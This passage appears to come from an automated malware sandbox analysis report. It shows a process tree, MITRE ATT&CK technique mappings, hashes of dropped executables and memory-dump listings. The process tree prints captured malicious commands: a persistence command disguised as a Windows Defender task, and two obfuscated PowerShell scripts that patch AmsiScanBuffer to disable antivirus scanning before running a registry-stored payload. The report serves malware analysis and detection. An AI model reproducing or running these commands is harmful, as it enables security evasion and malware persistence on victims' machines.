  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4796
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:1748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2200 -ip 2200
1⤵
PID:1788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2564 -ip 2564
1⤵
PID:4852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:KslJdWSaQBUt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ztqFzPZAVlZUwW,[Parameter(Position=1)][Type]$bJxRVtzoKy)$owEATWABEgy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+'c'+'t'+''+'e'+'d'+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+'Mo'+'d'+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+'e'+''+[Char](108)+''+'e'+'g'+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+'Pub'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+'led'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+','+'A'+''+[Char](117)+''+'t'+''+'o'+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$owEATWABEgy.DefineConstructor(''+[Char](82)+'TS'+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+'a'+''+'l'+'N'+'a'+''+[Char](109)+'e,'+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ztqFzPZAVlZUwW).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$owEATWABEgy.DefineMethod('I'+[Char](110)+''+'v'+''+'o'+'k'+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+','+'N'+'e'+''+[Char](119)+''+'S'+'lo'+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+'l'+'',$bJxRVtzoKy,$ztqFzPZAVlZUwW).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+'t'+'i'+'me,'+'M'+''+'a'+''+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $owEATWABEgy.CreateType();}$UFlYHDbGaWNlX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+'em.dl'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'cr'+[Char](111)+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+'Win'+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+'n'+'s'+[Char](97)+''+'f'+''+[Char](101)+''+[Char](85)+''+[Char](70)+''+'l'+''+[Char](89)+'H'+'D'+''+[Char](98)+''+'G'+'aW'+'N'+'l'+[Char](88)+'');$pkWxCoZOozStWw=$UFlYHDbGaWNlX.GetMethod(''+[Char](112)+''+'k'+'W'+[Char](120)+''+[Char](67)+''+[Char](111)+''+[Char](90)+''+[Char](79)+''+[Char](111)+'z'+[Char](83)+''+[Char](116)+''+[Char](87)+''+[Char](119)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,S'+'t'+''+'a'+'t'+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UfKAonhqdOmvbSqRPUy=KslJdWSaQBUt @([String])([IntPtr]);$EIYOHhQYOvKmSNamLVZnST=KslJdWSaQBUt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jvLpQeSarzr=$UFlYHDbGaWNlX.GetMethod('G'+'e'+''+[Char](116)+'Mod'+[Char](117)+'l'+[Char](101)+'H'+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+''+[Char](51)+'2.'+[Char](100)+''+[Char](108)+'l')));$kvEVBkEqTSIEGi=$pkWxCoZOozStWw.Invoke($Null,@([Object]$jvLpQeSarzr,[Object](''+[Char](76)+'oa'+'d'+''+'L'+''+'i'+''+[Char](98)+''+'r'+''+'a'+'ryA')));$LjUIXoRdVdUaUrTSx=$pkWxCoZOozStWw.Invoke($Null,@([Object]$jvLpQeSarzr,[Object]('V'+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$MnibkVd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kvEVBkEqTSIEGi,$UfKAonhqdOmvbSqRPUy).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+'d'+[Char](108)+''+'l'+'');$lelDggOdMrOUPfquh=$pkWxCoZOozStWw.Invoke($Null,@([Object]$MnibkVd,[Object]('A'+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+''+'a'+'n'+'B'+'u'+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$RmuTADsMSj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LjUIXoRdVdUaUrTSx,$EIYOHhQYOvKmSNamLVZnST).Invoke($lelDggOdMrOUPfquh,[uint32]8,4,[ref]$RmuTADsMSj);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$lelDggOdMrOUPfquh,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LjUIXoRdVdUaUrTSx,$EIYOHhQYOvKmSNamLVZnST).Invoke($lelDggOdMrOUPfquh,[uint32]8,0x20,[ref]$RmuTADsMSj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+''+'r'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:pdIgorhBPowO{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hpavFYIUTKswzS,[Parameter(Position=1)][Type]$DJNRZIgMEy)$eljLlKqeoYk=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+[Char](101)+''+'d'+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'e'+[Char](109)+''+[Char](111)+''+'r'+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+'e'+'',$False).DefineType(''+'M'+''+'y'+''+'D'+''+'e'+''+[Char](108)+'e'+[Char](103)+'at'+[Char](101)+''+[Char](84)+''+'y'+'pe',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+','+''+[Char](83)+'e'+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+''+'C'+'l'+'a'+''+[Char](115)+''+'s'+''+','+''+[Char](65)+''+'u'+'to'+[Char](67)+''+'l'+''+'a'+''+'s'+'s',[MulticastDelegate]);$eljLlKqeoYk.DefineConstructor(''+[Char](82)+'T'+'S'+''+'p'+'eci'+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+','+[Char](72)+''+'i'+''+'d'+''+'e'+''+'B'+''+'y'+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$hpavFYIUTKswzS).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+'na'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$eljLlKqeoYk.DefineMethod(''+'I'+''+'n'+''+[Char](118)+'o'+'k'+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+'Si'+'g'+''+[Char](44)+''+[Char](78)+'e'+'w'+'S'+'l'+''+[Char](111)+''+[Char](116)+','+'V'+'i'+[Char](114)+'t'+[Char](117)+''+[Char](97)+'l',$DJNRZIgMEy,$hpavFYIUTKswzS).SetImplementationFlags(''+'R'+'un'+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $eljLlKqeoYk.CreateType();}$VqHHnBrHPXvPp=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+'t'+[Char](101)+''+'m'+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+'r'+'o'+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+[Char](86)+''+[Char](113)+'H'+[Char](72)+''+'n'+''+[Char](66)+'r'+[Char](72)+''+'P'+''+[Char](88)+''+'v'+''+'P'+''+[Char](112)+'');$WQTKewsglDkWjU=$VqHHnBrHPXvPp.GetMethod('WQ'+[Char](84)+'Kew'+[Char](115)+''+[Char](103)+''+[Char](108)+''+[Char](68)+''+[Char](107)+''+'W'+''+'j'+''+'U'+'',[Reflection.BindingFlags]''+'P'+''+'u'+'bl'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PQcCojWxKUqFhRxDZOV=pdIgorhBPowO @([String])([IntPtr]);$HaMzAjxJsZizKIyJeMZJZl=pdIgorhBPowO @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FJEuDjIUFZt=$VqHHnBrHPXvPp.GetMethod(''+'G'+''+[Char](101)+'tMod'+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+'n'+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$tbAnLstagaZnAe=$WQTKewsglDkWjU.Invoke($Null,@([Object]$FJEuDjIUFZt,[Object]('L'+[Char](111)+''+[Char](97)+''+'d'+'Li'+[Char](98)+'r'+'a'+'r'+'y'+''+[Char](65)+'')));$QEHIIocqsVliDGOdm=$WQTKewsglDkWjU.Invoke($Null,@([Object]$FJEuDjIUFZt,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'P'+[Char](114)+'o'+'t'+''+'e'+''+'c'+''+[Char](116)+'')));$StRaRMm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tbAnLstagaZnAe,$PQcCojWxKUqFhRxDZOV).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+'l'+''+'l'+'');$LEAGQzMQdglLGGgXh=$WQTKewsglDkWjU.Invoke($Null,@([Object]$StRaRMm,[Object](''+[Char](65)+''+'m'+''+[Char](115)+'i'+'S'+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+'r')));$yxolwfLRZA=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QEHIIocqsVliDGOdm,$HaMzAjxJsZizKIyJeMZJZl).Invoke($LEAGQzMQdglLGGgXh,[uint32]8,4,[ref]$yxolwfLRZA);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$LEAGQzMQdglLGGgXh,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QEHIIocqsVliDGOdm,$HaMzAjxJsZizKIyJeMZJZl).Invoke($LEAGQzMQdglLGGgXh,[uint32]8,0x20,[ref]$yxolwfLRZA);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'FT'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3364

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{34e430d4-c1f5-4779-8aec-f4d1ef08aa1f}
1⤵
PID:3796

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
136a2ddc5ea1d515e681608a999b9b29

SHA1
64213ab31b748782aabacfeeef15dc138b418d04

SHA256
bd63199796c0f8c8dc874f9d04263006addde84208370ba068bfe113359f127f

SHA512
e1b6087156876a4ac5c95ba70c0368b99e720510387df551eaafc5dfb7ad0f66c0d8d3938184cbcdf66c69d53c74ec8f85c57d9f05240d3a3570d8e656fe7498

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
17b97615d40fe69625e737e1933cb33e

SHA1
ef8d45492225e21d6f3a7c4a93a950ce586e3975

SHA256
ef7d503547d6e26552919238f3665ebae15f72354a6adf7d1caad23242ca4120

SHA512
2adfaadbced4d191c62dc61df9497cd461e7e665e6c56803110778f862c8d06122e8072558e3c73145f29b246fd9d5a86080af4726c39dc09cd23927efd137f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
846bb5d88b91b8aa17bdb58eaf246b10e6586402

SHA256
b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

SHA512
b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
846bb5d88b91b8aa17bdb58eaf246b10e6586402

SHA256
b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

SHA512
b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

Download Submit
memory/208-186-0x000000000273E000-0x000000000287B000-memory.dmp

Filesize
1.2MB

Download
memory/208-173-0x0000000002222000-0x0000000002726000-memory.dmp

Filesize
5.0MB

Download
memory/208-185-0x0000000002222000-0x0000000002726000-memory.dmp

Filesize
5.0MB

Download
memory/208-174-0x000000000273E000-0x000000000287B000-memory.dmp

Filesize
1.2MB

Download
memory/592-225-0x00007FF8FD290000-0x00007FF8FD2A0000-memory.dmp

Filesize
64KB

Download
memory/1148-148-0x0000000074120000-0x000000007416C000-memory.dmp

Filesize
304KB

Download
memory/1148-151-0x0000000006E50000-0x0000000006E6A000-memory.dmp

Filesize
104KB

Download
memory/1148-157-0x00000000071E0000-0x0000000007202000-memory.dmp

Filesize
136KB

Download
memory/1148-156-0x00000000070C0000-0x00000000070C8000-memory.dmp

Filesize
32KB

Download
memory/1148-141-0x0000000004580000-0x00000000045B6000-memory.dmp

Filesize
216KB

Download
memory/1148-155-0x00000000070D0000-0x00000000070EA000-memory.dmp

Filesize
104KB

Download
memory/1148-142-0x0000000004BF0000-0x0000000005218000-memory.dmp

Filesize
6.2MB

Download
memory/1148-154-0x0000000007080000-0x000000000708E000-memory.dmp

Filesize
56KB

Download
memory/1148-153-0x0000000007110000-0x00000000071A6000-memory.dmp

Filesize
600KB

Download
memory/1148-152-0x0000000006EC0000-0x0000000006ECA000-memory.dmp

Filesize
40KB

Download
memory/1148-158-0x00000000080C0000-0x0000000008664000-memory.dmp

Filesize
5.6MB

Download
memory/1148-150-0x0000000007490000-0x0000000007B0A000-memory.dmp

Filesize
6.5MB

Download
memory/1148-149-0x00000000060D0000-0x00000000060EE000-memory.dmp

Filesize
120KB

Download
memory/1148-147-0x0000000006D00000-0x0000000006D32000-memory.dmp

Filesize
200KB

Download
memory/1148-146-0x0000000005B30000-0x0000000005B4E000-memory.dmp

Filesize
120KB

Download
memory/1148-145-0x00000000054F0000-0x0000000005556000-memory.dmp

Filesize
408KB

Download
memory/1148-144-0x00000000052D0000-0x0000000005336000-memory.dmp

Filesize
408KB

Download
memory/1148-143-0x0000000004A60000-0x0000000004A82000-memory.dmp

Filesize
136KB

Download
memory/1984-183-0x0000000004F80000-0x000000000508A000-memory.dmp

Filesize
1.0MB

Download
memory/1984-205-0x0000000006630000-0x000000000664E000-memory.dmp

Filesize
120KB

Download
memory/1984-184-0x0000000004EF0000-0x0000000004F2C000-memory.dmp

Filesize
240KB

Download
memory/1984-181-0x00000000053B0000-0x00000000059C8000-memory.dmp

Filesize
6.1MB

Download
memory/1984-176-0x0000000000430000-0x0000000000450000-memory.dmp

Filesize
128KB

Download
memory/1984-204-0x0000000005E50000-0x0000000005EC6000-memory.dmp

Filesize
472KB

Download
memory/1984-212-0x0000000006AA0000-0x0000000006AF0000-memory.dmp

Filesize
320KB

Download
memory/1984-210-0x00000000071F0000-0x000000000771C000-memory.dmp

Filesize
5.2MB

Download
memory/1984-209-0x0000000006AF0000-0x0000000006CB2000-memory.dmp

Filesize
1.8MB

Download
memory/1984-182-0x0000000004E50000-0x0000000004E62000-memory.dmp

Filesize
72KB

Download
memory/2092-139-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2092-133-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3348-167-0x00000000051B0000-0x0000000005242000-memory.dmp

Filesize
584KB

Download
memory/3348-165-0x0000000000760000-0x00000000008CC000-memory.dmp

Filesize
1.4MB

Download
memory/3348-171-0x0000000005590000-0x000000000559A000-memory.dmp

Filesize
40KB

Download
memory/3364-211-0x00007FF91EB70000-0x00007FF91F631000-memory.dmp

Filesize
10.8MB

Download
memory/3364-223-0x00007FF91EB70000-0x00007FF91F631000-memory.dmp

Filesize
10.8MB

Download
memory/3364-222-0x00007FF93C7D0000-0x00007FF93C88E000-memory.dmp

Filesize
760KB

Download
memory/3364-221-0x00007FF93D210000-0x00007FF93D405000-memory.dmp

Filesize
2.0MB

Download
memory/3364-214-0x00007FF93C7D0000-0x00007FF93C88E000-memory.dmp

Filesize
760KB

Download
memory/3364-213-0x00007FF93D210000-0x00007FF93D405000-memory.dmp

Filesize
2.0MB

Download
memory/3796-218-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/3796-219-0x00007FF93D210000-0x00007FF93D405000-memory.dmp

Filesize
2.0MB

Download
memory/3796-224-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/3796-220-0x00007FF93C7D0000-0x00007FF93C88E000-memory.dmp

Filesize
760KB

Download
memory/3796-215-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4100-189-0x00007FF91EA30000-0x00007FF91F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/4100-190-0x00007FF91EA30000-0x00007FF91F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/4100-187-0x0000014E9ECF0000-0x0000014E9ED12000-memory.dmp

Filesize
136KB

Download
memory/4796-206-0x00007FF91EA30000-0x00007FF91F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/4796-198-0x00007FF91EA30000-0x00007FF91F4F1000-memory.dmp

Filesize
10.8MB

Download